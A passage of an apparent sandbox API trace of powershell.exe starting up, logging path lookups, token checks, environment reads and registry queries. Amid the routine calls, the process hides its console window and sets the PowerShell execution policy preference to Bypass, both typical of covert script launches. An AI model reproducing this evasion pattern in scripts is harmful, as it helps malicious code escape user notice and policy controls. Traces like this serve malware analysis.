lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0080.905] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", nBufferLength=0x105, lpBuffer=0x24d720, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config", lpFilePart=0x0) returned 0x3c [0080.905] SetErrorMode (uMode=0x1) returned 0x1 [0080.906] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.config"), fInfoLevelId=0x0, lpFileInformation=0x24d9a0 | out: lpFileInformation=0x24d9a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0080.906] SetErrorMode (uMode=0x1) returned 0x1 [0081.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d800, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.135] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.136] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d750, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.139] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.139] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.139] CoTaskMemFree (pv=0x1b75b370) [0081.146] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.146] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.146] CoTaskMemFree (pv=0x1b75b370) [0081.146] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.146] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.146] CoTaskMemFree (pv=0x1b75b370) [0081.152] CoCreateGuid (in: pguid=0x24dd68 | out: pguid=0x24dd68*(Data1=0x191f0705, Data2=0x8411, Data3=0x4261, Data4=([0]=0xa9, [1]=0x3b, [2]=0xe0, [3]=0x98, [4]=0x18, [5]=0x7f, [6]=0x9d, [7]=0xef))) returned 0x0 [0081.163] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.163] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.163] CoTaskMemFree (pv=0x1b75b370) [0081.166] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.166] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.167] CoTaskMemFree (pv=0x1b75b370) [0081.171] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.171] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.171] CoTaskMemFree (pv=0x1b75b370) [0081.179] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xf [0081.181] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x24da10 | out: lpConsoleScreenBufferInfo=0x24da10) returned 1 [0081.188] CreateFileW (lpFileName="CONOUT$" (normalized: "conout$"), dwDesiredAccess=0xc0000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x13 [0081.189] GetConsoleScreenBufferInfo (in: hConsoleOutput=0x13, lpConsoleScreenBufferInfo=0x24da10 | out: lpConsoleScreenBufferInfo=0x24da10) returned 1 [0081.190] GetVersionExW (in: lpVersionInformation=0x24d9a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x24d9a0*(dwOSVersionInfoSize=0x114, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0081.194] GetCurrentProcess () returned 0xffffffffffffffff [0081.195] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x24da38 | out: TokenHandle=0x24da38*=0x320) returned 1 [0081.201] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24d958 | out: TokenInformation=0x0, ReturnLength=0x24d958) returned 0 [0081.202] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x117490 [0081.202] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x117490, TokenInformationLength=0x4, ReturnLength=0x24d958 | out: TokenInformation=0x117490, ReturnLength=0x24d958) returned 1 [0081.206] DuplicateTokenEx (in: hExistingToken=0x320, dwDesiredAccess=0x8, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x2, phNewToken=0x24dab8 | out: phNewToken=0x24dab8*=0x31c) returned 1 [0081.206] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x24d958 | out: TokenInformation=0x0, ReturnLength=0x24d958) returned 0 [0081.206] LocalAlloc (uFlags=0x0, uBytes=0x4) returned 0x1174c0 [0081.206] GetTokenInformation (in: TokenHandle=0x320, TokenInformationClass=0x8, TokenInformation=0x1174c0, TokenInformationLength=0x4, ReturnLength=0x24d958 | out: TokenInformation=0x1174c0, ReturnLength=0x24d958) returned 1 [0081.208] CheckTokenMembership (in: TokenHandle=0x31c, SidToCheck=0x2d44130*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0)), IsMember=0x24dac8 | out: IsMember=0x24dac8) returned 1 [0081.208] CloseHandle (hObject=0x31c) returned 1 [0081.208] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.209] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.269] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d590, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.270] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d4e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d5e0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.280] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", nBufferLength=0x105, lpBuffer=0x24d530, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\Microsoft.PowerShell.ConsoleHost\\1.0.0.0__31bf3856ad364e35\\Microsoft.PowerShell.ConsoleHost.dll", lpFilePart=0x0) returned 0x7c [0081.379] SetConsoleCtrlHandler (HandlerRoutine=0x2a0677c, Add=1) returned 1 [0081.395] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.395] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.395] CoTaskMemFree (pv=0x1b75b370) [0081.396] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.397] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.397] CoTaskMemFree (pv=0x1b75b370) [0081.788] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.788] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.788] CoTaskMemFree (pv=0x1b75b370) [0081.826] GetConsoleWindow () returned 0x302d6 [0081.827] ShowWindow (hWnd=0x302d6, nCmdShow=0) returned 1 [0081.839] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.839] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.839] CoTaskMemFree (pv=0x1b75b370) [0081.843] SetEnvironmentVariableW (lpName="PSExecutionPolicyPreference", lpValue="Bypass") returned 1 [0081.866] CoCreateGuid (in: pguid=0x24dbb0 | out: pguid=0x24dbb0*(Data1=0x7a1c3dc6, Data2=0x7786, Data3=0x4cdf, Data4=([0]=0x88, [1]=0x78, [2]=0xb2, [3]=0x4, [4]=0x6a, [5]=0x9e, [6]=0x5c, [7]=0xd9))) returned 0x0 [0081.889] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.889] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.889] CoTaskMemFree (pv=0x1b75b370) [0081.935] WinSqmIsOptedIn () returned 0x0 [0081.936] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.936] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.936] CoTaskMemFree (pv=0x1b75b370) [0081.943] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.943] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.944] CoTaskMemFree (pv=0x1b75b370) [0081.944] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.944] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.944] CoTaskMemFree (pv=0x1b75b370) [0081.948] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.948] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.948] CoTaskMemFree (pv=0x1b75b370) [0081.949] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.949] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.949] CoTaskMemFree (pv=0x1b75b370) [0081.959] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.959] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.959] CoTaskMemFree (pv=0x1b75b370) [0081.960] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.960] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.960] CoTaskMemFree (pv=0x1b75b370) [0081.961] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.962] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.962] CoTaskMemFree (pv=0x1b75b370) [0081.971] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0081.971] GetEnvironmentVariableW (in: lpName="MshEnableTrace", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="") returned 0x0 [0081.971] CoTaskMemFree (pv=0x1b75b370) [0081.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0081.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0081.981] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0081.982] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.060] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.061] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.062] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24d000, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.063] GetFullPathNameW (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", nBufferLength=0x105, lpBuffer=0x24cf50, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\assembly\\GAC_MSIL\\System.Management.Automation\\1.0.0.0__31bf3856ad364e35\\System.Management.Automation.dll", lpFilePart=0x0) returned 0x74 [0082.066] CoTaskMemAlloc (cb=0x104) returned 0x1b75b370 [0082.067] GetEnvironmentVariableW (in: lpName="PSMODULEPATH", lpBuffer=0x1b75b370, nSize=0x80 | out: lpBuffer="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x33 [0082.067] CoTaskMemFree (pv=0x1b75b370) [0082.072] CoTaskMemAlloc (cb=0xcc) returned 0x1b3ea0 [0082.072] ExpandEnvironmentStringsW (in: lpSrc="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b3ea0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0082.072] CoTaskMemFree (pv=0x1b3ea0) [0082.072] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="System\\CurrentControlSet\\Control\\Session Manager\\Environment", ulOptions=0x0, samDesired=0x20019, phkResult=0x24d728 | out: phkResult=0x24d728*=0x324) returned 0x0 [0082.072] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d6ac, lpData=0x0, lpcbData=0x24d6a8*=0x0 | out: lpType=0x24d6ac*=0x2, lpData=0x0, lpcbData=0x24d6a8*=0x6c) returned 0x0 [0082.072] CoTaskMemAlloc (cb=0x70) returned 0x1521d0 [0082.072] RegQueryValueExW (in: hKey=0x324, lpValueName="PSMODULEPATH", lpReserved=0x0, lpType=0x24d67c, lpData=0x1521d0, lpcbData=0x24d678*=0x6c | out: lpType=0x24d67c*=0x2, lpData="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpcbData=0x24d678*=0x6c) returned 0x0 [0082.072] CoTaskMemFree (pv=0x1521d0) [0082.072] CoTaskMemAlloc (cb=0xcc) returned 0x1b3ea0 [0082.072] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%", lpDst=0x1b3ea0, nSize=0x64 | out: lpDst="C:\\Windows") returned 0xb [0082.073] CoTaskMemFree (pv=0x1b3ea0) [0082.073] CoTaskMemAlloc (cb=0xcc) returned 0x1b3ea0 [0082.073] ExpandEnvironmentStringsW (in: lpSrc="%SystemRoot%\\system32\\WindowsPowerShell\\v1.0\\Modules\\", lpDst=0x1b3ea0, nSize=0x64 | out: lpDst="C:\\Windows\\system32\\WindowsPowerShell\\v1.0\\Modules\\") returned 0x34 [0082.073] CoTaskMemFree (pv=0x1b3ea0) [0082.076] RegCloseKey (hKey=0x324) returned 0x0 [0082.076] CoTaskMemAlloc (cb=0xcc) returned 